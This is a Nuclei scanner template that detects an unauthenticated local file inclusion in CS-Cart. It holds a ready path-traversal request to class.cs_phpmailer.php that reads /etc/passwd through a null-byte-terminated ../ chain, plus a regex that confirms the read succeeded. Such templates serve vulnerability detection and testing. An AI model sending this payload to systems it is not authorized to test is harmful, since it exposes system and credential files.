id: cs-cart-unauthenticated-lfi

info:
  name: CS-Cart - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: CS-Cart is vulnerable to local file inclusion because it allows remote unauthenticated attackers to access locally stored files and reveal their content.
  reference:
    - https://cxsecurity.com/issue/WLB-2020100100
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: cscart,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/classes/phpmailer/class.cs_phpmailer.php?classes_dir=../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d8c6c7288879b24c25321d9195f762984562d2ace47cc842b167e0dd99ea31e9022100dff187408293f07f7063ad2be6c57e6a5ccb9faee24da9a776fc42deef95460d:922c64590222798bb761d5b6d8e72950